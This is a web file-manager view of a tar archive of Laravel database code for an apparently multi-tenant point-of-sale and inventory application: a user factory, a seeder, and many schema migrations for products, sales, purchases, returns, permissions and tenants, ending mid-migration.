File manager - Edit - /home/linknsbh/sabel-eltaqwa.com/assets/lfm/files/shares/events/thumbs/database.tar
Back
factories/UserFactory.php 0000644 00000001553 15213350501 0011501 0 ustar 00 <?php /** @var \Illuminate\Database\Eloquent\Factory $factory */ use App\User; use Illuminate\Support\Str; use Faker\Generator as Faker; /* |-------------------------------------------------------------------------- | Model Factories |-------------------------------------------------------------------------- | | This directory should contain each of the model factory definitions for | your application. Factories provide a convenient way to generate new | model instances for testing / seeding your application's database. | */ $factory->define(User::class, function (Faker $faker) { return [ 'name' => $faker->name, 'email' => $faker->unique()->safeEmail, 'email_verified_at' => now(), 'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', // password 'remember_token' => Str::random(10), ]; }); migrations/2026_01_09_102026_create_ai_generation_logs_table.php 0000644 00000001361 15213350501 0020042 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('ai_generation_logs', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('user_id'); $table->unsignedBigInteger('package_id')->nullable(); $table->string('ai_engine'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('ai_generation_logs'); } }; seeds/DatabaseSeeder.php 0000644 00000000372 15213350501 0011211 0 ustar 00 <?php use Illuminate\Database\Seeder; class DatabaseSeeder extends Seeder { /** * Seed the application's database. * * @return void */ public function run() { // $this->call(UsersTableSeeder::class); } } .gitignore 0000644 00000000032 15213350501 0006522 0 ustar 00 *.sqlite *.sqlite-journal migrations/2025_05_09_104218_add_partial_amount_to_purchases_table.php 0000644 00000001176 15213354165 0021323 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('purchases', function (Blueprint $table) { $table->double('partial_amount')->nullable()->after('paid_amount'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('purchases', function (Blueprint $table) { $table->dropColumn('partial_amount'); }); } }; migrations/2022_02_21_073634_create_permission_tables.php 0000644 00000015400 15213354165 0016601 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; use Spatie\Permission\PermissionRegistrar; return new class extends Migration { /** * Run the migrations. */ public function up(): void { $tableNames = config('permission.table_names'); $columnNames = config('permission.column_names'); $teams = config('permission.teams'); if (empty($tableNames)) { throw new \Exception('Error: config/permission.php not loaded. Run [php artisan config:clear] and try again.'); } if ($teams && empty($columnNames['team_foreign_key'] ?? null)) { throw new \Exception('Error: team_foreign_key on config/permission.php not loaded. Run [php artisan config:clear] and try again.'); } Schema::create($tableNames['permissions'], function (Blueprint $table) { $table->bigIncrements('id'); $table->string('name'); // For MySQL 8.0 use string('name', 125); $table->string('guard_name')->default('web'); // For MySQL 8.0 use string('guard_name', 125); $table->timestamps(); // $table->unique(['name', 'guard_name']); }); Schema::create($tableNames['roles'], function (Blueprint $table) use ($teams, $columnNames) { $table->bigIncrements('id'); if ($teams || config('permission.testing')) { // permission.testing is a fix for sqlite testing $table->unsignedBigInteger($columnNames['team_foreign_key'])->nullable(); $table->index($columnNames['team_foreign_key'], 'roles_team_foreign_key_index'); } $table->string('name'); // For MySQL 8.0 use string('name', 125); $table->string('guard_name')->default('web'); // For MySQL 8.0 use string('guard_name', 125); $table->timestamps(); if ($teams || config('permission.testing')) { // $table->unique([$columnNames['team_foreign_key'], 'name', 'guard_name']); } else { // $table->unique(['name', 'guard_name']); } }); Schema::create($tableNames['model_has_permissions'], function (Blueprint $table) use ($tableNames, $columnNames, $teams) { $table->unsignedBigInteger(PermissionRegistrar::$pivotPermission); $table->string('model_type'); $table->unsignedBigInteger($columnNames['model_morph_key']); $table->index([$columnNames['model_morph_key'], 'model_type'], 'model_has_permissions_model_id_model_type_index'); $table->foreign(PermissionRegistrar::$pivotPermission) ->references('id') ->on($tableNames['permissions']) ->onDelete('cascade'); if ($teams) { $table->unsignedBigInteger($columnNames['team_foreign_key']); $table->index($columnNames['team_foreign_key'], 'model_has_permissions_team_foreign_key_index'); $table->primary([ $columnNames['team_foreign_key'], PermissionRegistrar::$pivotPermission, $columnNames['model_morph_key'], 'model_type', ], 'model_has_permissions_permission_model_type_primary'); } else { $table->primary([ PermissionRegistrar::$pivotPermission, $columnNames['model_morph_key'], 'model_type', ], 'model_has_permissions_permission_model_type_primary'); } }); Schema::create($tableNames['model_has_roles'], function (Blueprint $table) use ($tableNames, $columnNames, $teams) { $table->unsignedBigInteger(PermissionRegistrar::$pivotRole); $table->string('model_type'); $table->unsignedBigInteger($columnNames['model_morph_key']); $table->index([$columnNames['model_morph_key'], 'model_type'], 'model_has_roles_model_id_model_type_index'); $table->foreign(PermissionRegistrar::$pivotRole) ->references('id') ->on($tableNames['roles']) ->onDelete('cascade'); if ($teams) { $table->unsignedBigInteger($columnNames['team_foreign_key']); $table->index($columnNames['team_foreign_key'], 'model_has_roles_team_foreign_key_index'); $table->primary([ $columnNames['team_foreign_key'], PermissionRegistrar::$pivotRole, $columnNames['model_morph_key'], 'model_type', ], 'model_has_roles_role_model_type_primary'); } else { $table->primary([PermissionRegistrar::$pivotRole, $columnNames['model_morph_key'], 'model_type'], 'model_has_roles_role_model_type_primary'); } }); Schema::create($tableNames['role_has_permissions'], function (Blueprint $table) use ($tableNames) { $table->unsignedBigInteger(PermissionRegistrar::$pivotPermission); $table->unsignedBigInteger(PermissionRegistrar::$pivotRole); $table->foreign(PermissionRegistrar::$pivotPermission) ->references('id') ->on($tableNames['permissions']) ->onDelete('cascade'); $table->foreign(PermissionRegistrar::$pivotRole) ->references('id') ->on($tableNames['roles']) ->onDelete('cascade'); $table->primary([PermissionRegistrar::$pivotPermission, PermissionRegistrar::$pivotRole], 'role_has_permissions_permission_id_role_id_primary'); }); app('cache') ->store(config('permission.cache.store') != 'default' ? config('permission.cache.store') : null) ->forget(config('permission.cache.key')); } /** * Reverse the migrations. */ public function down(): void { $tableNames = config('permission.table_names'); if (empty($tableNames)) { throw new \Exception('Error: config/permission.php not found and defaults could not be merged. Please publish the package configuration before proceeding, or drop the tables manually.'); } Schema::drop($tableNames['role_has_permissions']); Schema::drop($tableNames['model_has_roles']); Schema::drop($tableNames['model_has_permissions']); Schema::drop($tableNames['roles']); Schema::drop($tableNames['permissions']); } }; migrations/2023_12_22_065227_fill_up_product_code.php 0000644 00000001007 15213354165 0015720 0 ustar 00 <?php use App\Models\Product; use Illuminate\Database\Migrations\Migration; return new class extends Migration { /** * Run the migrations. */ public function up(): void { $products = Product::where('product_code','')->get(); foreach ($products as $product) { $product->update([ 'product_code' => $product->code ]); } } /** * Reverse the migrations. */ public function down(): void { // } }; migrations/2025_05_01_110910_create_stores_and_user_stores_tables.php 0000644 00000001014 15213354165 0021174 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Artisan; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Artisan::call('db:seed', [ '--class' => 'StoreSeeder', '--force' => true, ]); } /** * Reverse the migrations. */ public function down(): void { // } }; migrations/2022_10_17_052105_add_is_return_field_to_sales_table.php 0000644 00000001110 15213354165 0020544 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('sales', function (Blueprint $table) { $table->boolean('is_return')->default(0)->after('date'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('sales', function (Blueprint $table) { // }); } }; migrations/2022_02_18_051026_create_brands.php 0000644 00000001514 15213354165 0014326 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('brands', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('name'); $table->longText('description')->nullable(); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('brands'); } }; migrations/2022_02_18_063507_create_media_table.php 0000644 00000002035 15213354165 0015311 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { public function up(): void { Schema::create('media', function (Blueprint $table) { $table->bigIncrements('id'); $table->morphs('model'); $table->uuid('uuid')->nullable()->unique(); $table->string('collection_name'); $table->string('name'); $table->string('file_name'); $table->string('mime_type')->nullable(); $table->string('disk'); $table->string('conversions_disk')->nullable(); $table->unsignedBigInteger('size'); $table->json('manipulations'); $table->json('custom_properties'); $table->json('generated_conversions'); $table->json('responsive_images'); $table->unsignedInteger('order_column')->nullable()->index(); $table->nullableTimestamps(); }); } }; migrations/2022_09_27_103942_add_new_field_in_sales.php 0000644 00000001170 15213354165 0016165 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('sales', function (Blueprint $table) { $table->boolean('is_sale_created')->default(false)->after('status'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('sales', function (Blueprint $table) { $table->dropColumn('is_sale_created'); }); } }; migrations/2022_05_10_104622_add_language_field_in_users.php 0000644 00000001127 15213354165 0017173 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('users', function (Blueprint $table) { $table->string('language')->default('en'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('users', function (Blueprint $table) { $table->dropColumn('language'); }); } }; migrations/2023_06_13_112717_add_pos_register_table.php 0000644 00000002353 15213354165 0016225 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('pos_register', function (Blueprint $table) { $table->id(); $table->double('cash_in_hand'); $table->datetime('closed_at')->nullable(); $table->double('cash_in_hand_while_closing')->nullable(); $table->double('bank_transfer')->nullable(); $table->double('cheque')->nullable(); $table->double('other')->nullable(); $table->double('total_sale')->nullable(); $table->double('total_return')->nullable(); $table->double('total_amount')->nullable(); $table->text('notes')->nullable(); $table->unsignedBigInteger('user_id'); $table->foreign('user_id') ->references('id')->on('users') ->onUpdate('cascade') ->onDelete('cascade'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { // } }; migrations/2023_07_07_064405_create_coupon_codes_table.php 0000644 00000001610 15213354165 0016712 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('coupon_codes', function (Blueprint $table) { $table->id(); $table->string('name'); $table->string('code')->unique(); $table->date('start_date'); $table->date('end_date'); $table->integer('how_many_time_can_use'); $table->integer('discount_type'); $table->double('discount'); $table->integer('how_many_time_used')->default(0); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('coupon_codes'); } }; migrations/2022_03_02_050637_create_product_categories_table.php 0000644 00000001453 15213354165 0020114 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('product_categories', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('name'); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('product_categories'); } }; migrations/2023_12_29_065039_fill_up_main_product_table_data.php 0000644 00000003056 15213354165 0020110 0 ustar 00 <?php use App\Models\MainProduct; use App\Models\Product; use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { DB::beginTransaction(); $products = Product::with('variationProduct')->select('id','name','product_code','product_unit')->get(); foreach($products as $product){ $mainProduct = MainProduct::where('code',$product->product_code)->first(); if(!$mainProduct){ $mainProduct = new MainProduct(); $mainProduct->name = $product->name; $mainProduct->code = $product->product_code; $mainProduct->product_unit = $product->product_unit; $mainProduct->product_type = $product->variationProduct ? MainProduct::VARIATION_PRODUCT : MainProduct::SINGLE_PRODUCT; $mainProduct->save(); } $product->update([ 'main_product_id' => $mainProduct->id ]); if($product->variationProduct){ $product->variationProduct->update([ 'main_product_id' => $mainProduct->id ]); } } DB::commit(); } /** * Reverse the migrations. */ public function down(): void { // } }; migrations/2026_01_26_105522_change_two_factor_recovery_codes_to_longtext.php 0000644 00000001166 15213354165 0022735 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('users', function (Blueprint $table) { $table->longText('two_factor_recovery_codes') ->nullable() ->change(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('users', function (Blueprint $table) { // }); } }; migrations/2025_07_07_120230_run_generate_crud_permission_seeder.php 0000644 00000000651 15213354165 0021025 0 ustar 00 <?php use Illuminate\Support\Facades\Artisan; use Illuminate\Database\Migrations\Migration; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Artisan::call('db:seed', ['--class' => 'GenerateCrudPermissionsSeeder', '--force' => true]); } /** * Reverse the migrations. */ public function down(): void { // } }; migrations/2025_03_21_042555_add_is_default_to_multiple_tables.php 0000644 00000002077 15213354165 0020442 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { $tables = ['product_categories', 'variations', 'brands', 'units', 'products', 'customers', 'users', 'suppliers', 'warehouses', 'mail_templates', 'sms_templates']; foreach ($tables as $table) { Schema::table($table, function (Blueprint $table) { $table->boolean('is_default')->default(false)->before('created_at'); }); } } /** * Reverse the migrations. */ public function down(): void { $tables = ['product_categories', 'variations', 'brands', 'units', 'products', 'customers', 'users', 'suppliers', 'warehouses', 'mail_templates', 'sms_templates']; foreach ($tables as $table) { Schema::table($table, function (Blueprint $table) { $table->dropColumn('is_default'); }); } } }; migrations/2023_01_06_052856_create_languages_table.php 0000644 00000001255 15213354165 0016205 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('languages', function (Blueprint $table) { $table->id(); $table->string('name'); $table->string('iso_code', 191)->unique(); $table->boolean('is_default')->default(false); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('languages'); } }; migrations/2025_04_10_092430_add_payment_status_to_sales_return_table.php 0000644 00000001206 15213354165 0022060 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('sales_return', function (Blueprint $table) { $table->integer('payment_status')->nullable()->after('payment_type'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('sales_return', function (Blueprint $table) { $table->dropColumn('payment_status'); }); } }; migrations/2022_05_24_045822_create_purchases_return_table.php 0000644 00000003233 15213354165 0017627 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('purchases_return', function (Blueprint $table) { $table->id(); $table->date('date'); $table->unsignedBigInteger('supplier_id'); $table->foreign('supplier_id')->references('id') ->on('suppliers') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('warehouse_id'); $table->foreign('warehouse_id')->references('id') ->on('warehouses') ->onUpdate('cascade') ->onDelete('cascade'); $table->double('tax_rate')->nullable(); $table->double('tax_amount')->nullable(); $table->double('discount')->nullable(); $table->double('shipping')->nullable(); $table->double('grand_total')->nullable(); $table->double('received_amount')->nullable(); $table->double('paid_amount')->nullable(); $table->integer('payment_type')->nullable(); $table->integer('status')->nullable(); $table->integer('payment_status')->nullable(); $table->text('notes')->nullable(); $table->string('reference_code')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('purchases_return'); } }; migrations/2022_05_31_123143_remove_warehouse_id_field_into_products_table.php 0000644 00000001503 15213354165 0023047 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('products', function (Blueprint $table) { $table->dropForeign(['warehouse_id']); $table->dropColumn('warehouse_id'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('products', function (Blueprint $table) { $table->unsignedBigInteger('warehouse_id'); $table->foreign('warehouse_id')->references('id') ->on('warehouses') ->onUpdate('cascade') ->onDelete('cascade'); }); } }; migrations/2022_08_04_061313_add_reference_field_to_sales_payments_table.php 0000644 00000001134 15213354165 0022422 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('sales_payments', function (Blueprint $table) { $table->string('reference')->nullable()->after('sale_id'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('sales_payments', function (Blueprint $table) { // }); } }; migrations/2022_09_14_050339_create_countries_table.php 0000644 00000001322 15213354165 0016245 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('countries', function (Blueprint $table) { $table->increments('id'); $table->string('name', 170)->unique(); $table->string('short_code', 170)->unique()->nullable(); $table->integer('phone_code')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('countries'); } }; migrations/2022_08_29_094749_create_transfer_items_table.php 0000644 00000002767 15213354165 0017317 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('transfer_items', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('transfer_id'); $table->foreign('transfer_id') ->references('id')->on('transfers') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('product_id'); $table->foreign('product_id')->references('id') ->on('products') ->onDelete('cascade') ->onUpdate('cascade'); $table->double('product_price')->nullable(); $table->double('net_unit_price')->nullable(); $table->integer('tax_type'); $table->double('tax_value')->nullable(); $table->double('tax_amount')->nullable(); $table->integer('discount_type'); $table->double('discount_value')->nullable(); $table->double('discount_amount')->nullable(); $table->double('quantity')->nullable(); $table->double('sub_total')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('transfer_items'); } }; migrations/2025_02_28_071756_create_plan_features_table.php 0000644 00000002331 15213354165 0017072 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('plan_features', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('plan_id'); $table->boolean('pos_management')->default(false); $table->boolean('reports')->default(false); $table->boolean('stock_transfer')->default(false); $table->boolean('emails_support')->default(false); $table->boolean('sms_support')->default(false); $table->boolean('inventory_management')->default(false); $table->boolean('adjustments')->default(false); $table->boolean('roles_permission')->default(false); $table->timestamps(); $table->foreign('plan_id')->references('id')->on('plans') ->onUpdate('CASCADE') ->onDelete('CASCADE'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('plan_features'); } }; migrations/2022_05_23_065104_create_sale_return_items_table.php 0000644 00000003060 15213354165 0017747 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('sale_return_items', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('sale_return_id'); $table->foreign('sale_return_id') ->references('id')->on('sales_return') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('product_id'); $table->foreign('product_id')->references('id') ->on('products') ->onDelete('cascade') ->onUpdate('cascade'); $table->double('product_price')->nullable(); $table->double('net_unit_price')->nullable(); $table->integer('tax_type'); $table->double('tax_value')->nullable(); $table->double('tax_amount')->nullable(); $table->integer('discount_type'); $table->double('discount_value')->nullable(); $table->double('discount_amount')->nullable(); $table->integer('sale_unit'); $table->double('quantity')->nullable(); $table->double('sub_total')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('sale_return_items'); } }; migrations/2022_03_03_094656_create_product_table.php 0000644 00000003677 15213354165 0015733 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('products', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('name'); $table->string('code'); $table->unsignedBigInteger('product_category_id'); $table->foreign('product_category_id')->references('id') ->on('product_categories') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('brand_id'); $table->foreign('brand_id')->references('id') ->on('brands') ->onUpdate('cascade') ->onDelete('cascade'); $table->double('product_cost'); $table->double('product_price'); $table->string('product_unit'); $table->string('sale_unit')->nullable(); $table->string('purchase_unit')->nullable(); $table->unsignedBigInteger('warehouse_id'); $table->foreign('warehouse_id')->references('id') ->on('warehouses') ->onUpdate('cascade') ->onDelete('cascade'); $table->string('stock_alert')->nullable(); $table->double('order_tax')->nullable(); $table->enum('tax_type', [1, 2])->nullable(); $table->text('notes')->nullable(); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('products'); } }; migrations/2025_05_27_114319_add_purchase_id_to_purchases_return_table.php 0000644 00000001563 15213354165 0022174 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('purchases_return', function (Blueprint $table) { $table->unsignedBigInteger('purchase_id')->after('reference_code')->nullable(); $table->foreign('purchase_id') ->references('id')->on('purchases') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('purchases_return', function (Blueprint $table) { $table->dropForeign(['purchase_id']); $table->dropColumn('purchase_id'); }); } }; migrations/2025_01_13_062432_create_transactions_table.php 0000644 00000001711 15213354165 0016733 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('transactions', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('transaction_id'); $table->double('amount'); $table->integer('type'); $table->integer('status'); $table->text('meta')->nullable(); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('transactions'); } }; migrations/2025_05_27_114530_add_is_return_to_purchases_table.php 0000644 00000001170 15213354165 0020306 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('purchases', function (Blueprint $table) { $table->boolean('is_return')->default(0)->after('reference_code'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('purchases', function (Blueprint $table) { $table->dropColumn('is_return'); }); } }; migrations/2022_09_14_050458_create_states_table.php 0000644 00000001403 15213354165 0015537 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('states', function (Blueprint $table) { $table->increments('id'); $table->string('name', 170); $table->unsignedInteger('country_id'); $table->timestamps(); $table->foreign('country_id')->references('id')->on('countries') ->onDelete('cascade')->onUpdate('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('states'); } }; migrations/2022_11_10_105949_add_quantity_limit_to_products_table.php 0000644 00000001131 15213354165 0021213 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('products', function (Blueprint $table) { $table->string('quantity_limit')->nullable()->after('stock_alert'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('products', function (Blueprint $table) { // }); } }; migrations/2022_10_03_074141_create_sms_templates_table.php 0000644 00000001565 15213354165 0017106 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('sms_templates', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->text('template_name'); $table->longText('content'); $table->string('type'); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('sms_templates'); } }; migrations/2025_03_11_090446_create_contact_us_table.php 0000644 00000001272 15213354165 0016375 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('contact_us', function (Blueprint $table) { $table->id(); $table->string('name'); $table->string('email'); $table->string('subject'); $table->text('message')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('contact_us'); } }; migrations/2022_12_20_044834_add_dob_field_to_customers_table.php 0000644 00000001110 15213354165 0020221 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('customers', function (Blueprint $table) { $table->date('dob')->nullable()->after('phone'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('customers', function (Blueprint $table) { // }); } }; migrations/2025_06_03_071904_add_expiry_date_to_products_table.php 0000644 00000001167 15213354165 0020467 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('products', function (Blueprint $table) { $table->date('expiry_date')->nullable()->after('barcode_symbol'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('products', function (Blueprint $table) { $table->dropColumn('expiry_date'); }); } }; migrations/2019_12_14_000001_create_personal_access_tokens_table.php 0000644 00000001437 15213354165 0020745 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('personal_access_tokens', function (Blueprint $table) { $table->id(); $table->morphs('tokenable'); $table->string('name'); $table->string('token', 64)->unique(); $table->text('abilities')->nullable(); $table->timestamp('last_used_at')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('personal_access_tokens'); } }; migrations/2023_09_16_000000_rename_password_resets_table.php 0000644 00000000700 15213354165 0017443 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::rename('password_resets', 'password_reset_tokens'); } /** * Reverse the migrations. */ public function down(): void { Schema::rename('password_reset_tokens', 'password_resets'); } }; migrations/2025_01_09_104413_add_tenant_id_field_on_pos_register.php 0000644 00000002757 15213354165 0020746 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('pos_register', function (Blueprint $table) { $table->string('tenant_id')->nullable()->after('id'); $table->foreign('tenant_id') ->references('id') ->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); Schema::table('sales', function (Blueprint $table) { $table->string('tenant_id')->nullable()->after('id'); $table->foreign('tenant_id') ->references('id') ->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('pos_register', function (Blueprint $table) { if (Schema::hasColumn('pos_register', 'tenant_id')) { 